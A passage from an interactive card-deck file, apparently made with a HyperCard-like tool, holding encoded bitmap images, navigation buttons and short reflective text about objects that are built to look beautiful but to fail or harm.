&#34;SlideRight&#34;]&#xA;end&#xA;{end}&#xA;&#xA;{card:card2}&#xA;image:&#34;%%IMG0AgABVv/////////////////////////////////////////////+/t97+73v/v7b9/+79v7b///////////3v/ttv7f/////////////////////////////////////////////9/v9/77/+7e7/v27/v+3/tttttttttttve2//+79////////////////////////////////////////////////79739t7/77ff7u+7/2///////////+9/7bb73//////////////////////////////////////////////f/7/337//237/dv+77u37bbbbbbbbbbb723//n3b////////////////////////////////////////////////+/33vbf/f7f+3/v+/v///////////vv/bbff/////////////////////////////////////////////////////ff9t93/b/d+39u22222222222++2/+99tv//////////////////////////////////////////////////9/f3/33b/t93/d////////////77/7b73///////////////////////////////////////////////////////v7/v/u/3/d97tttttttttttvvtv/vvbN////////////////////////////////////////////////////v/vtvve9vu97/v//////////++/+2++/f//////////////////////////////////////////////////////+//vf9/u/77fbbbbbbbbbbb77b/777ff///////////////////////////////////////////////////////7//d9v+739///////////vv/tvvv+9///////////////////////////////////////////////////////373d9/u7/b7bbbbbbbbbbe+2/+++27//////////////////////////////////////////////////////////f99+/7/7//////////97/7b77//v////////////////////////////////////////////////////////+/997+7u37bbbbbbbbbb3tv/vvtt+//////////////////////////////////////////////////////////3//v7+/b//////////vf+2++//z////////////////////////////////////////////////////////////e/f79/7bbbbbbbbbe9t/777bfv/////////////////////////////////////////////////////////////e/v3f/////////97/23vv/9+/////////////////////////////////////////////////////////////f9+/922222222233tv/e+233///////////////////////////////////////////////////////////////7973/////////ff+297/ffP///////////////////////////////////////////////////////////////97/3tttttttt99t/73t98+//////////////////////////////////////////////////////////////f//9/f///////33/23vfv37//////////////////////////////////////////////////////////////////997bbbbbbffbf/e9u/fv/////////////////////////////////////////////////////////////////v/7//////99/9t97/69+/////////////////////////////////////////////////////////////////////+22223323/33tv73///////////////////////////////////////////////////////////////////vfb/////ff/bfff+3vP///////////////////////////////////////////////////////////////////////ttt99t/999t/e+//////////////////////////////////////////////////////////////////////e///33/2333/297////////////////////////3////////////////////////////////////////////+///7/fbf/ffbf73v///////////////////////d////////////////////////////////////////////////v2+/9t99/9vvf///////////////////////13/v/////////////////////////////////////////////v//+3/3323++9v//////////////////////7b/b////////////////////////////////////////////////3/tvff/b77////////////////////////t/tf//////////////////////////////////////////////f//v/99t/vvt///////////////////////2X7X///////////////////////////////////////////////////b3/2++////////////////////////99/Z/////////////////////////////////////////////////39//bf777f///////////////////////m/yt/7f////////////////////////////////////////////////+/+/vv9///////////////////////+v7rf0k////////////////////////////////////////////////+//9++3///////////////////////9t+xJma3/////////////////////////////////////////////////9377/f///////////////////////t/nKkpt/////////////////////////////////////////////////9///39///////////////////////9n8SMkB/5d/////////////////////////////////////////////////9/v////////////////////////aBJRJQH9lG////////////////////////////////////////////////v++////////////////////////7tGFJDM/SYh/n////////////////////////////////////////////////+///////////////////////7MwYCSN/khmPyf////////////////////////////////////////////////////////////////////////1jBiCQn+EAb0of///////////////////////////////////////////////////////////////////////3MMMSxvekYA9CRH///////////////////////////////////////////////////////////////////////Ngy0khfkQkfQyU/l/////////////////////////////////////////////////////////////////////+WShnbX8EARTEIPyP/////////////////////////////////////////////////////////////////////5Utnx/+wJA2Egj8iAP////////////////////////////////////////////////////////////////////00lfb/koAmxiA/gIAh////////////////////////////////////////////////////////////////////7Ne//8iSIkMIXyyRAGP//////////////////////////////////////////////////////////////////ttt7//pIZ/RwF+YREJAz/////////////////////////////////////////////////////////////////+yL////2wn1yAXnQMSwAD/////////////////////////////////////////////////////////////////uKf///ebb9uCV2QgA5ZA/v///////////////////////////////////////////////////////////////8zf////97/r4E+MiCBHcf4N///////////////////////////////////////////////////////////////2X/////7/77Q3oiAIT/H8BO//////////////////////////////////////////////////////////////8y/////////Wt6AhESfz/mRgH////////////////////////////////////////////////////////////+2v////////+7/JBYPH+f58ZAh////////////////////////////////////////////////////////////8////////////4WDJ5/n+DCYIF///////////////////////////////////////////////////////////+1////////////bbgCMx/gQnOBM/////////////////////////////////////////////////////////////////////////9uQwGf8GBzmDPh/////////////////////////////////////////////////////////////////////////5GDj/PgM5mH4MP////////////////////////////////////////////////////////////////////////9h8/z5DnAh+BA5//////////////////////////////////////////////////////////////////////////f8MQ5wcf2RMHn//////////////////////////////////////////////////////////////////////////AmOcHH8wxBwZ/////////////////////////////////////////////////////////////////////////4JznM5/ImDMGD//////////////////////////////////////////////////////////////////////////85zOfwIJ4MAc5//////////////////////////////////////////////////////////////////////////c5n8GDOXpmMYv/////////////////////////////////////////////////////////////////////////uZ/PkTk+YxjA3//////////////////////////////////////////////////////////////////////////f55k4MQYYBEb//////////////////////////////////////////////////////////////////////////+fMOTEGSIBGIP//////////////////////////////////////////////////////////////////////////3JmYBkhEQjAP3////////////////////////////////////////////////////////////////////////9zBmTIMRAISJwf/////////////////////////////////////////////////////////////////////////wcAyBAAmSSeD/P////////////////////////////////////////////////////////////////////////fAuAQSARkWm/Cz/////////////////////////////////////////////////////////////////////////7lxkghAJ5/yIP//////////////////////////////////////////////////////////////////////////cgCKCCND+SyTb/////////////////////////////////////////////////////////////////////////7aQgmTQ+mTZGJ3////////////////////////////////////////////////////////////////////////+1jEk5P4x2YZlJ/////////////////////////////////////////////////////////////////////////acEmN/CWTBEjT//////////////////////////////////////////////////////////////////////////IIbf0myKBJJP/////////////////////////////////////////////////////////////////////////+skP5E2SJIST///////////////////////////////////////////////////////////////////////////5g/MmRAgTJP////////////////////////////////////////////////////////////////////////////vwMhGCQI3/////////////////////////////////////////////////////////////////////////////+cmSQRjJ//////////////////////////////////////////////////////////////////////////////5wrFkGIn///////////////////////////////////////////////////////////////////////////////7Mkoyb////////////////////////////////////////////////////////////////////////////////+5JmZ//////////////////////////////////////////////////////////////////////////////////9Eyf//////////////////////////////////////////////////////////////////////////////////9G7///////////////////////////////////////////////////////////////////////////////////9u////////////////////////////////////////////////////////////////////////////////////+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////5////////////////////////////////////////////////////////////////////////////////////+P////////////////////////////////////////////////////////////////////////////////////B//+Bv///////////////////////////////////////////////////////////////////////////////wf//AG///////////////////////////////////////////////////////////////////////////////8P//wAP///////////////////////////////////////////////////////////////////////////////B//5AR///////////////////////////////////////////////////////////////////////////////4f/+NMf//////////////////////////////////////////////////////////////////////////////8H//j+H///////////////////////////////////////////////////////////////////////////////B//4bw/////////n//+3/////////////////////////////////////////////////////////////////4f/+H8f////////5//+Tf////////////////////////////////////////////////////////////////+D//z/H////////8P//AF//9v/////////////////////////////////////////////////////////////B//4ew/////////D//wCX/+Qv////////////////////////////////////////////////////////////4f/+H8f////////w//8AD//pL//+m////////////////////////////////////////////////////////+D//x/j////////8P//gA//wBv//s3////////////////////////////////////////////////////////A//4fw/////////D//8gH/9AP//klf//t////////////////////////////////////////////////////4f//H8P////////4f//2F/+AD//8En//pn///////////////////////////////////////////////////+H//x/j////////8P//9gf/oBf/8gC//7Nv/+T////////////////////////////////////////////////h//8fw/////////C///2L/4Cf//gBL/6RP/+23///////////////////////////////////////////////8///H+P////////4f//+B/+C7//oAG/+hJ//kn////////////////////////////////////////////////3//5/n////////+H//7gf/on//6Agf/yBP/sk////////////////////////////////////////////////n////5/////////D///sD/4Hf//DIX/9AS/5Bn///////////////////////////////////////////////8P/////////////4f//2S/+B///0Mhf/yRP/EGf//////////////////////////////////////////////+D////3////////+H///wf/wm//5DY3/zIX+YA////////////////////////////////////////////////g////9/////////Df/9kF/0G///BID//kjf5CT///////////////////////////////////////////////4P///+P////////4f//2B/+A2//wWS///IP+CN///////////////////////////////////////////////+B//+/j////////+f//5IP/om//7DYv//Mb+YI////////////////////////////////////////////////w//+pof////////7//4AL/4E2/+gkF//8RPxFv///////////////////////////////////////////////4N//puH////////8///ADv/AE//wWRf//Yf/Ee///////////////////////////////////////////////+B//5ZD/////////X//gAf/YIn/9Fgf/+wJ8gR////////////////////////////////////////////////w///FEf////////h//4A3/8ADf+gmC//2S36G3///////////////////////////////////////////////8H//bZH////////4f//AB//wAf/oNC//mQb8gv////////////////////////////////////////////////B//65D/////////D//wAP/6AD/+lkn/+ET/SE3///////////////////////////////////////////////wf/+mQf////////h///sJ/7ACf/peH/9kCf8ET///////////////////////////////////////////////8H//0yH////////4P//6x//0AJ/5ttv/EA36QE3///////////////////////////////////////////////B//9kx/////////D//7gH/3IC//Kkv/sAH/oEz///////////////////////////////////////////////wX//k0f////////x///+D//swf+YtL/6AJv6ABv//////////////////////////////////////////////+H//9tH////////4H//9gv/pkF/4HJP+IBv/IAn///////////////////////////////////////////////j///vx/////////n//9wKb8QQ3+BIX+wAP/YADf///////////////////////////////////////////////////8f////////w///8AAHEwv+YtDf2AZ/+QBP////////////////////////////////////////////////////n////////8P//9wQB4gI9wCQv8Al//YAG//////////////////////////////////////////////////////////////D//94f/+JBDmBIL/gM7/8gCf/////////////////////////////////////////////////////////////wv//7B//gQR4AUh/sJ7v+wAN/////////////////////////////////////////////////////////////+P//LQ//8QmfkABX8hN+25kE//////////////////////////////////////////////////////////////j//oSL/+QgN/SoH3gbRttkRb/////////////////////////////////////////////////////////////5//6SD//wgA3kNi/sDZJm8gH//////////////////////////////////////////////////////////////3/+AAf/0kEP8FAt8iexEZqCbt///////////////////////////////////////////////////////////////gAb/9AQA9hJL/om79xogju0//////////////////////////////////////////////////////////////8AH//gAIX2CC/5Gb736SGZLb/////////////////////////////////////////////////////////////9wEz/oAIF8JIb/QV//7BAb2Mv/////////////////////////////////////////////////////////////71//+ACBvgAX/yEX/7WBL7e7//////////////////////////////////////////////////////////////tv//5JYPsAF/6Ip//0CE3/f//////////////////////////////////////////////////////////////////7bfv9gA3/gBn/2ACX////////////////////////////////////////////////////////////////9v+//7bb/kBv/2AP/8kAt////////////////////////////////////////////////////////////////z////73/v/bN/9ABv+wAm////////////////////////////////////////////////////////////////8//////bf/tt//0DP/5AF/////////////////////////////////////////////////////////////////3///////7/b//9sf/5AFP//////////////////////////////////////////////////////////////////936/3///f///pzf/yEf//////////////////////////////////////////////////////////////////////+f9/f////n//7JL//////////////////////////////////////////////////////////////////////////39////3/+1u///////////////////////////////////////////////////////////////////////////8///////7T////////////////////////////////////////////////////////////////////////////7////////v/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////vJ///////////////////////////////////////////////////////////////////////////////////7bH//////////////////////////////////////////////////////////////////////////////////6ScX+5fbf////////////////////////////////////////////////////////////////////////////7SRlNsxJH////////////////////////////////////////////////////////////////////////////+0kMbZjKSf////////////////////////////////////////////////////////////////////////////yQoTMQCC7/////////////////////////////////////////////////////////////////////////////JJiazEAD/////////////////////////////////////////////////////////////////////////////SJMbJAEQf////////////////////////////////////////////////////////////////////////////2JYScwgBf////////////////////////////////////////////////////////////////////////////+wYgzTBIW/////////////////////////////////////////////////////////////////////////////nJmSUEAQ/////////////////////////////////////////////////////////////////////////////8ykEySCQn//////////////////4eP////////////////////////////////////////////////////////maSyiIAj//////////////////+DBnAL8////////////////////////////////////////////////////+1skmkyJP//////////////////mRJ0C+Df///////////////////////////////////////////////////+Wl0mSZW//////////////////50xMnnkTP//////////////////////////////////////////////////99NltMzTf/////////////////+HOTJx5kz////////////////////////////////////////////////////v7tv3Kf//////////////////wzgyGedM/////////////////////////////////////////////////////////+3//////////////////+A8sg3nxP/////////////////////////////////////////////////////////////////////////////4vDgs58B//////////////////////////////////////////////////////7//////////////////////3Ji5eOfAf/////////////////////////////////////////////////////+//////////////////////8yAmXznpn/////////////////////////////////////////////////////+3//////////////////////gwIEEsSZ//////////////////////////////////////////////////////0f/////////////////////8eDDBBgnf/////////////////////////////////////////////////////9v///////////////////////745IINn/////////////////////////////////////////////////////+J////////////////////////////vc//////////////////////////////////////////////////////5v///////////////////////////////////////////////////////////////////////////////////7L////////////////////////////////////////////////////////////////////////////////////Lf///////////////////////////////////////////////////////////////////////////////////6f////////////////////////////////////////////////////////////////////////////////////b///////////////////////////////////////////////////////////////////////////////9////3f/////////////////////////H////////////////////////////////////////////////////9n///7f/////////////////////////w////////////////////////////////////////////////////+e////////+/////////////////////8/////////////////////////////////////////////////////ov////////n/////////////////////D////////////////////////////////////////////////////6l////////kf////////////////////4////////////////////////////////////////////////////+tf///////8n/////////////////////n////////////////////////////////////////////////////xP///////+m/////////////////////t////////////////////////////////////////////////////3b////////ov////////////////////4f////////////////////////////////////////////////////bf///////5N/////////////////v///P//////9f////////////////////////////////////////////y/////////R/////////////////z//////////8R/////////////////////////////////////////////v////////5P////////////////8f/////////8zP/////////////////////////////////////////////////////+7////////////////+H///////n/8mZ//////////////////////////////////////////////////////b/////////////////l///////w/+sRP/////////////////////////////////////////////////////9f////////////////4f//////8//JMz////////////////////////////////////////////////////////////////////////D///////H/mYzf///////////////////////////////////////////////////////////////////////8/////////zZkn////////////////////////////////////////////////////////////////////////f////////5BMy/////////////////////////////////////////////////////////////////////////////////8zIln/////////////////////////////////////////////////////////////////////////////////SbMl/////////////////////////////////////////////////////////////////////////////////MyZJP///////////////////////////////////////////////bf///////////////////////////////4kxNP//////////////////////////////////////////////6aZf//////////////////////////////7JkyYf/////////////////////////////////////////////2yzU//////////////////////////////+JkzJn/////////////////////////////////////////////9WmWz//////////////////////////////ZJlMM/////////////////////////////////////////////00kyLP/////////////////////////////xTM8Y3////////////////////////////////////////////9pliss/////////////////////////////zDJ/Zl////////////////////////////////////////////8plKkyz////////////////////////////+aTH5Ev///////////////////////////////////////////9rJJlJLf///////////////////////////4xTJ/Zr////////////////////////////////////////////bJrFM0l///////////////////////////7mSTfzJf///////////////////////////////////////////pLKNJSTP//////////////////////////ysiTL+JX///////////////////////////////////////////2yYybMtM//////////////////////////vZmWK/zJ///////////////////////////////////////////5TRjIYwy3/////////9kn/////////////s3cQqX9Kn///////////////////////////////////////7f/9kmWWRjDJ////////9pu2f////////////N2ZkmV/mZ///////////////////////////////////////7v//ayZRNGMk3///////Zrplt////////////f97skUv6Rv///////////////////////////////////////6//Zlkmk0yzTf/////s3rLEk///////////+fZm7k0r+mT///////////////////////////////////////Tv/zEmabJjDEv////tNzLMZpb//////////++3v/Mkpfsp///////////////////////////////////////2f/+ZpJIMkmGy///7NtNmSTJJv/////////7e7N3cppX8kn//////////////////////////////////////+zf8zJmWyZmaJv//ttLZmTMZS3///x/////299t//pFS/NS///////////////////////////////////////3P/2ZKZGZkksk/9tTJJJMkyTJ///5f////2713//9VSn0Jv//////////////////////////////////////9//szZkkyTM05lttbLSzMzKaJv///3////7/t///9SSl5al///////////////////////////////////////3/8iTGbGZM1hmapqzLLJJMyZP///5////7tb7///6mlMkhf//////////////////////////////////////+39syZJMy1svJZrKTKUmZkyTZf///P/////3b/7/7klIyXL//////////////////////////////////////+//syzNTGZM4ZlmZUmTSZLJmBb///7///93Pf/7/vllLFsK///////////////////////////////////////9/5JmZTM1tpzKSTUyWNkyMmWT///y///73e//7/f/FKUQon////////////////////////////////////////9skzWzmbO2ZpmSpmYmbZZMzf//+P//3v///v///MaTZpl/////////////////////////////////////////ZbSZnM5tZjCmSq2WyolJkiT///z//2e///v/3/6yWClJP////////////////////////////////////////5MtzmZ33dmJJMyRmTKyaTMzf/////89/37//3/biUaJJp////////////////////////////////////////7aa2bvtNbZZlMzWmWVJpZMy3/////82/37/7v+/2ky1qTf////////////////////////////////////////a5p5ub92zkDJKUpmVUySySm/////+E/v/+////9MkhJJL////////////////////////////////////////2m2n27LbbKZLMymmUlzaTMk//////I3v///f/f/0szJUm////////////////////////////////////////+czebbe7t2pSZTsZM6Ek0k1n/////gNv/f3/f//7JjLJSH///////////////////////////////////////+53t7t+zbWSSTMkxspsySzJNv////yE///f3/f3vtMmKJt////////////////////////////////////////7tu3fzf3dtSWYzLJMllslspv////8CZ93//3/v/yRmSahP///+////////////////////////////////////bt7dvtmdmSUjZMpMzMk0iaL////+Alt//u/3v7/rMlITL////v///////////////////////////////////7vf/u7v++aSmZyTZJJplrJbf////Ikb+9/9////sokm0Y////3///////////////////////////////////7/d2vbtm5oyMzTNJZzJmJMyd////wJZu/7/7//fbTNmExj///9////////////////////////////////////3f3/e3e3uyUmbcyZDJkrSST////6BCb/f7797//MZEMiJ////v////////////////////////////////////e7t23d2aSSc7TLZbLNmTM2f///+CSZu/f377/32zM0qpn///7////////////////////////////////////+7vu3tn9sypu2YkySZMTMyb////kCS27/f//9/3IYkYmT///9////////////////////////////////////7//O/O/N2yGM77mSbTJtJJm////4CSb/vfu9/9/8xsxSSP////////////////////////////////////////23fc9tttI0Z/mUsyWbIzMmb///9AEkt+//9/f/7ZIklkz////////////////////////////////////////f/fd7dvb2xTt/ZkySSZrKZN////SQk237tv+///szMyEzf///////////////////////////////////////+2+dtttbNJGb/2tJmmTSTJm////xAhFvfv/u/vf+TMhpgn/////////////////////////////////////////a97bbe80szf25MmWcVbMmb///+UBMm9/vf/f/fckMjGy////////////////////////////////////////2/uzttszzQm9/pJZlI0ykyV///+TEQt73e93f3/czYyUjP///////////////////////////////////////3627u22/OlIz+2zJmWszNJlf///xIRJnvd73/v/+xJiSmN////////////////////////////////////////3vbttts8yZnO7bKSZMzc02b///+SAhOe/3/3v737TMykSf///////////////////////////////////////3c9ttttz1pE+9kmZk0mRphL///+TIjJ72/d/f//8mYyllL///////////////////////////////////////31zbbbbfNkRjd2TU2Zs3MtmX///y0BCGnb9797976TIkkm////////////////////////////////////////v3bbbbZ9kzOdltkxMpmZZKd///8mQEa//v7v37/9mUkhiH///////////////////////////////////////+t22223nZiIytkmlmZmbZJk////GYJRtm87+/f+9mTUtll///////////////////////////////////////3bm2222eZmSWplJNLNm2ZbE////00giTfZ737+9/9MlIRFP//////////////////////////////////////3du221t570kU3NNkpmakZSMt///8mQCTNv/3vu9/dkyMpJL///////////////////////////////////////7221lm3m1mUlMsTLGZs0yYp////G5ESW27fu+/+/vJoYzKf//////////////////////////////////////3tttnuae2sUkmZZtMyRtaxlv///0mkQlbztv7++/uMmpSJT///////////////////////////////////////bm07M85tpklrJMyWzbIklFP///8swAkm33/vu9/f5ZKUyU////////////////////////////////////7/97PJzt03tvMlJmyZaTGZqU1Nf///j1gkK33bfe///3JkQko3///////////////////////////////////3v/3dvtLN9NtZlJTLMysuTJtJN//+fxNghJmn/99/e3/aTVokl///////////////////////////////////3f//bKZ2ap3bbNJTMsymyWZEs7f//L+MrBEW/m37++/3zTERpZP//////////////////////////////////8z/9u7ZmbO3Nu5JSSZk2JMxdLbf//2/jbEBRtvvb9+//3WWpFJn///////////////////////////////////zP/+zW22dZu2zLGzNMxM0jS9N////nybUCEm3u/73/t/0yKsYJf//////////////////////////////////v//tuWZmbW27eaMGWZm0zMup/////z+C1gIpNb7fvvv9+i0YpZn//////////////////////////////////+zf/261m2bbbs6YkyTMjMty3v////9/jTJCJt7v9//f/9slRISS/+//////////////////////////////////v/tqmbNbNtu2zLGmZmszNt//////f4WtCJLbu33b//v9mmVqRP/w==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[187,43],&#34;pos&#34;:[25,85],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;t&#34;,&#34;he objects that surround me are designed to be superficially beautiful.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[223,44],&#34;pos&#34;:[232,100],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;unblemished slabs of glass.\ngently sloping polycarbonate. wood veneer. brushed aluminum.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[209,56],&#34;pos&#34;:[146,223],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;but it is superficial. so many things are built to fail, built to harm, or built on pain in the first place.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;&#xA;{card:card3}&#xA;image:&#34;%%IMG0AgABVgAAAAAAAACIACEAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAACBAAAQAAAAIQAAAAAAACAAAAAAAAAQAAAAIAAAAAAAAACAIQAAAEQgAAAAgAQAgIAgIAAAAABACAAAQgEACBBAAACEABAAAAAEAAAAIIEAAAAAIQCAAEAggIAAAAAAAAAAAAQBAhAAACAAAAIAIAAIAIAAhCAABCCEEAAgAAAAAAAEAABAQIAAABAgAIAAACAIAAACAAABAAIAAAAAAAAAAAiACBABAAAAQQQAIAIEAAAAQAAAEAAAAAAAAAAAQAIEEAABAAAAgAAAAAAAAAAAgAEAAAAAAAAAAAAAAAAAAAIAACAAQBCIhAQQCAAAAAEAAgIAAgEAAAABAAAgQAEAAAAAQAAAAgAQAAEAAAAAAAAIAAAAgAAAAAAAAAAAAAAAIBCAAAAAAAAAAEACABBACAgIAQAAAIAggAgCAQAAAAAACAAABAACAAAABAAIAgAAIAAQAAAAAAAAQAAAAAAAAAIAAIQIAgAAEAAAgCCAACBAABAQABACAAAAgAACAAggACAAAQAAAABAgAAAAAAAAAAAAAABAAAQAAAAAAAAAABAAgIAAIAgIQBAgAgCAAgAAAAAAEQACAAIAAAAAAQAAIAABAAACAAAAAAAAgAAAgAAAgAEAAQEAAAAAAAAAAABAEAIEIAIAgAAAgIAAAIAAABAQAAAAgAEACAIBAAQAAACAAAIACAAAAAAAAAAIAgAgAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA